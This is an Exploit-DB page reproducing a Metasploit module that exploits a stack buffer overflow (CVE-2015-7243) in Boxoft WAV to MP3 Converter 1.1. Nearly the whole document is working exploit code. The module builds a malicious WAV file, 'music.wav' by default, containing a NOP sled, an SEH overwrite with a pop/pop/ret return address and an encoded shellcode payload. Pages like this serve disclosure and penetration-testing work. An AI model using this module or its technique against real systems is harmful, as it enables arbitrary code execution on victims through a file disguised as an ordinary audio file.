Boxoft WAV to MP3 Converter 1.1 – Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2018-07-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44971/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    
    include Msf::Exploit::FILEFORMAT
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "Boxoft WAV to MP3 Converter v1.1 Buffer Overflow",
    'Description'=> %q{
     This module exploits a stack buffer overflow in Boxoft WAV to MP3 Converter versions 1.0 and 1.1.
     By constructing a specially crafted WAV file and attempting to convert it to an MP3 file in the
     application, a buffer is overwritten, which allows for running shellcode.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Robbie Corley', # EDB POC
    'Shelby Pace'# Metasploit Module
    ],
    'References' =>
    [
    [ 'CVE', '2015-7243' ],
    [ 'EDB', '38035' ]
    ],
    'Platform' => 'win',
    'Targets'=>
    [
    [
    'Boxoft WAV to MP3 Converter v1.1',
    {
    'Ret' => 0x0040144c # P/P/R from wavtomp3.exe (1.1.0.0)
    }
    ]
    ],
    'Payload'=>
    {
    'BadChars' => "\x00"
    },
    'Privileged' => false,
    'DisclosureDate' => "Aug 31 2015",
    'DefaultTarget'=> 0))
    
    register_options(
    [
    OptString.new('FILENAME', [true, 'The malicious file name', 'music.wav'])
    ])
    end
    
    def exploit
    file_payload = payload.encoded
    
    buf = make_fast_nops(4132)
    buf << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # nseh (jmp to payload)
    buf << [target.ret].pack("V*")# seh
    buf << file_payload
    # Size isn't very sensitive
    buf << make_fast_nops(5860)
    
    file_create(buf)
    end
    end